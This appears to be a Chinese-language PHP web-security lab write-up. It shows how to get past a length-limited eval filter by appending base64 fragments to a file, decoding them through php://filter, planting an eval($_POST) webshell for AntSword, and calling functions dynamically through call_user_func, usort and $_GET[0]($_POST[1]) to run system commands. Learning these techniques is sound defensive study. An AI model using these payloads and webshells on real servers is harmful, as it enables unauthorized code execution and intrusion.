免责声明本文全部实验操作均在本人完全可控的自建本地靶场环境完成,文章仅用于网络安全原理学习与技术研究。 根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。
严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。
<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) {
eval($param);
}
在前面已经知道了file_put_contents()是用来将数据写入文件,第一个参数是文件名,第二个参数是文件内容。
file_put_contents第三个参数若省略,默认值为 0,会直接覆盖原文件内容;如需追加写入,需要传入FILE_APPEND标记。
FILE_APPEND是 PHP 预定义位掩码常量 ,底层C 宏定义对应数值为 8 。内核仅识别参数整型的二进制位,不识别脚本文本中的常量名,因此可以直接使用数字8替代FILE_APPEND。
file_put_contens绕过
追加Base64编码:PD9waHAgcGhwaW5mbygpOw==
即<?php phpinfo();
因为开头的< 是 URL 保留字符,在浏览器发送请求的时候会被 URL 解析器处理。所以选择用Base64来传值
?1=file_put_contents¶m=$_GET[1](N,P,8);
1的值就是get获取的,再拼接就是实现了追加文本
$_GET1(N,P,8);
刚好16位,没有超过长度
$_GET1读取上面参数1的值,得到字符串"file_put_contents"
成功写入

依次全部传完后
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
URL 传入 param=include$_GET1;
param="include_GET1;",长度 16,无 eval/assert,通过 if 条件
eval(param) 执行代码:include _GET1;
读取 GET 参数1的值:php://filter/read=convert.base64-decode/resource=N
include()接收这个伪协议,php://filter开始工作:
- resource=N:读取本地文件 N,文件内容是 base64 字符串 PD9waHAgcGhwaW5mbygpOw==
- read=convert.base64‑decode:读取文件的时候,自动对文件内容做 base64 解码
- 解码得到:<?php phpinfo();?>
include 的特性:把解码完成的内容当做 PHP 代码执行,最终运行phpinfo()

基于此尝试把phpinfo()换成<?php eval($_POST6);


连接蚁剑
密码是一句话木马的代码$_POST6中所使用的参数6

call_user_func
call_user_func(回调函数, 传给回调的参数)
第一个参数就是回调函数。第二个参数是该函数的参数。
把一个函数 A,当做参数,传给另一个函数 B;由函数 B 在内部去调用函数 A,A 就叫回调函数。
简单了解了后分析下面的代码
<?php call_user_func('assert',$_REQUEST['pass'])
all_user_func拿到函数名字符串'assert',在内部执行 assert($_REQUEST'pass')
执行成功

assert字符串执行仅 PHP ≤7.1 有效,7.2 + 作废。PHP7.2 开始废弃
assert()执行字符串代码的能力。新版本中
assert()只做断言判断(判断表达式真假),不再解析执行 PHP 代码字符串。
等价简写:assert($_REQUEST'pass');
如果回调函数名字是用户可控的,就会产生 RCE 代码执行漏洞。
例:call_user_func(_GET\['func'\],_GET'p'); 用户 GET 传入func=system,就可以执行命令。
_GET\[0\](_POST1);
<?php $_GET[0]($_POST[1]);?>
分析:
$_GET0:GET 传入的参数 0,这个参数的值会被当做函数名
$_POST1:POST 传入的参数 1,当做上面函数的参数
例如:
GET 传参给0,指定要调用什么函数,例如 ?0=system
POST 传参给1,传入函数的参数,例如 1=whoami
PHP 解析变成:system("whoami");,实现 RCE 远程代码执行。
利用成功

这个后门在蚁剑中为什么选择编码base64能连接成功,default不行
连接失败

切换编码器为base64,发现连接成功

抓包default模式下的流量

对其url解码

抓包base64模式下的流量

解码,发现不同点,对其中的me660......的值再进行手动base64解码

发现解码后的值与default解码的值一样

分析结果:
对比抓包的流量中的信息发现:
在base64模式下assert 执行字符串 eval(base64_decode($_POST"xxx"))
PHP 不是从里面往外执行,而是先执行外层函数 。因此先执行
assert(),然后由assert()去触发执行里面的eval()。
default 模式失败,是因为 assert 直接执行完整 payload,代码结构不符合 assert 的动态执行要求;base64 模式成功,是因为蚁剑把 payload 包装成 eval(base64_decode()),assert 只需要执行一个函数调用表达式,真正的代码执行交给 eval 完成。
assert() 的动态执行要求传入的内容首先必须能被 PHP 解析成一个合法的表达式 (通常是一个函数调用或计算表达式),而不能直接是一整段包含多条语句、函数定义、流程控制的 PHP 程序; assert() 如果接收到字符串,会尝试把字符串当作 PHP 表达式 (expression) 执行。
简单了来讲就是:assert()只能接收单个表达式 ,不能直接执行多条语句的完整 PHP 脚本 。
那直接把第一个参数值换成eval()能执行吗?
答案是不行。
为什么?
_GET\[0\](_POST1);的本质是:取 GET 参数 0 的值,当作函数名 调用它 参数是 POST 参数 1
**而在php中eval()不是函数,而是 PHP 语法结构。**不能通过 _GET\[0\](_POST1) 这种变量函数方式调用。assert 是普通函数,所以可以被动态调用;
usort
usort ( array &$array , callable $callback )
使用自定义回调函数,对数组按值排序,会直接修改原数组(引用传递 &),删除原有键名,排序之后变成连续数字索引。
返回值:成功返回true,失败返回false。
参数
- &$array:要排序的数组,传引用,函数内部直接改变原数组
- $callback:比较回调函数,自定义排序规则。
如果回调函数可控,可以传入 assert,造成代码执行。
在这个代码中测试使用usort()


usort(...$_GET)";
在php中叫...展开运算符
usort(..._GET)";等价于把_GET中的参数传给usort()
在url中的$_GET的值是 ?1\[\]=phpinfo()&1\[\]=te;&2=assert
所以
$_GET = 1 =\> \[ "phpinfo()", "te" , 2 => "assert" ];
**外层eval 把字符串变成 PHP 代码。把字符串重新交给 PHP 解释器。**执行usort(...$_GET)";等价于
usort( "phpinfo()", "te" , "assert" );
接着assert()作为回调函数收到第一个参数为phpinfo(),从而打印页面